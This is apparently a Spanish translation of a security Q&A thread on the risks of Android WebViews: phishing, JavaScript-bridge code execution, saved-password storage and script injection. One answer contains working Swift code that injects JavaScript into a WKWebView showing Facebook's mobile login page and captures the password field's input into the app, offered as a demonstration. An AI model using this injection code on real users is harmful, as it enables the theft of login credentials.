¿Las vistas web en Android son seguras?

8

" Web Views " son vistas que muestran algún contenido en línea, generalmente una página web dentro de aplicación de Android.

Las "vistas web" implementadas generalmente no parecen tener ningún tipo de barra de estado o una barra de direcciones para confirmar si estoy en el sitio web correcto o no. Por lo tanto, es una vulnerabilidad perfecta para que las aplicaciones maliciosas sirvan para la página web que se puede usar para el phishing. Por ejemplo, como una página de inicio de sesión falsa en Facebook que podría robarme mis credenciales con poca o ninguna sospecha.

Siendo uno de los temas, me gustaría tener una respuesta más detallada y definitiva.

Entonces, ¿son seguras las vistas web? ¿Qué riesgos contienen?

Permítame preguntarle sobre algunos puntos sobre esto: -

  • ¿La vista web presenta los mismos agujeros y defectos de seguridad del navegador de Android (porque es un derivado de ella)?
  • A menudo aparece un cuadro de diálogo "recordar contraseña" para los formularios de envío de contraseña en Vistas Web. ¿Las aplicaciones están completamente aisladas de este 'almacén de contraseñas'?
  • ¿Es posible que las aplicaciones "inyecten" algún código en la vista web para realizar un seguimiento de las pulsaciones de teclado / pulsaciones?
  • ¿A qué otras partes de la vista web tiene acceso la aplicación?

Espero que esta pregunta no sea demasiado amplia.

    
pregunta Irfan 23.12.2012 - 18:53
fuente

4 respuestas

4

No es exactamente lo que pediste, pero veo que la gente lo extraña a menudo y se está convirtiendo en un problema.

Los puentes de JavaScript se utilizan para salir de la zona de pruebas (característica). Sin embargo, para las aplicaciones compiladas para el nivel de API < 17 (incluso si está ejecutando la versión más reciente y mejor, pero la aplicación está compilada con un nivel de API más bajo, es vulnerable), se puede usar la reflexión para ejecutar CUALQUIER código Java desde JavaScript (consulte http://50.56.33.56/blog/?p=314 - lo siento, no puedo crear un enlace adecuado).

Permítame reiterar: con el puente de JavaScript habilitado en WebView, una "página web" puede ejecutar cualquier código como la aplicación WebView.

Más referencias:

respondido por el domen 28.08.2013 - 10:38
fuente
2

Uno de los booleans disponible para la clase WebView está establecido en JavaJavaScriptEnabled . Al establecer esto en verdadero / falso se abrirán las vulnerabilidades normales que están disponibles a través de JavaScript. Dicho esto, WebView tiene todas las API disponibles para funcionar como un navegador normal. Por lo tanto, se deben tomar todas las precauciones normales al escribir un WebView que acepte la entrada del usuario (validación, etc.) o al mostrar contenido que sea algo estático.

Con respecto a su punto sobre la contraseña de recordar. Si tiene esta funcionalidad y guarda las credenciales en la aplicación WebView de su aplicación, no estará disponible para otras aplicaciones en un dispositivo no rooteado. Una vez que te mueves a un entorno enraizado, todo es posible.

    
respondido por el KDEx 23.12.2012 - 20:39
fuente
1

No soy un usuario de Android, desde el mundo iOS, las vistas web no están protegidas en absoluto. En iOS definitivamente puedes inyectar javascript en el WKWebKit . Aquí he preparado una demostración de ella.

import UIKit
import WebKit

class ViewController: UIViewController {

    private var webView: WKWebView?
    private var url = URL(string: "https://m.facebook.com/")!
    private var domInputFieldId = "m_login_password"


    override func viewDidLoad() {
        super.viewDidLoad()

        initializeWebView()
        loadData()

    }

    private func initializeWebView() {

        let javascript = """
    window.onload = function() {
         var passField = document.getElementById("\(domInputFieldId)");
         passField.addEventListener("input", function(evt) {
         window.webkit.messageHandlers.jsMessenger.postMessage("\(domInputFieldId): " + passField.value.toString());
         });
         window.webkit.messageHandlers.jsMessenger.postMessage("Window loaded");
    }
    window.webkit.messageHandlers.jsMessenger.postMessage("Script sent first message");
"""

        let userScript = WKUserScript.init(source: javascript,
                                           injectionTime: .atDocumentStart, forMainFrameOnly: true)

        let contentController = WKUserContentController()
        contentController.addUserScript(userScript)
        contentController.add(self, name: "jsMessenger")


        let config = WKWebViewConfiguration()
        config.userContentController = contentController

        webView = WKWebView(frame: view.frame, configuration: config)
        webView?.navigationDelegate = self

        view.addSubview(webView!)
    }

    private func loadData() {
        webView?.load(URLRequest.init(url: url))
    }

}

extension ViewController: WKNavigationDelegate {
    public func webView(_ webView: WKWebView, didFinish navigation: WKNavigation!) {
        print("WKWebView Delegate let me know, that it's done loading")
    }
}

extension ViewController: WKScriptMessageHandler {
    func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {
        print(message.body)
    }
}

Todo lo que estoy haciendo es escuchar al niño DOM (Document Object Model) con id m_login_password , y pasarlo a mi aplicación.

Salida

    
respondido por el Ratul Sharker 15.11.2018 - 23:42
fuente
0

Déjame responder a tus tres primeras preguntas aquí.

  1. el navegador de Android común utiliza WebView. (1) Si es vulnerable en WebView, entonces el navegador apesta. (2) si otras vulnerabilidades del navegador en su propia implementación, otras aplicaciones basadas en WebView pueden no ser vulnerables.

  2. La aplicación actual siempre puede leer las contraseñas guardadas en database / webview.db , ya que se encuentra en su propio almacenamiento interno privado. Sin embargo, parece que Google planea deshabilitar esta función (consulte enlace ).

  3. La aplicación puede inyectar código JavaScript en la vista web actual, como este caso . Sin embargo, no estoy seguro de si estos códigos JS inyectados pueden realizar un seguimiento de las pulsaciones de teclas. Personalmente creo que es imposible, a menos que esté enraizado o usted controle el método de entrada.

respondido por el HackNone 13.08.2013 - 09:19
fuente

Lea otras preguntas en las etiquetas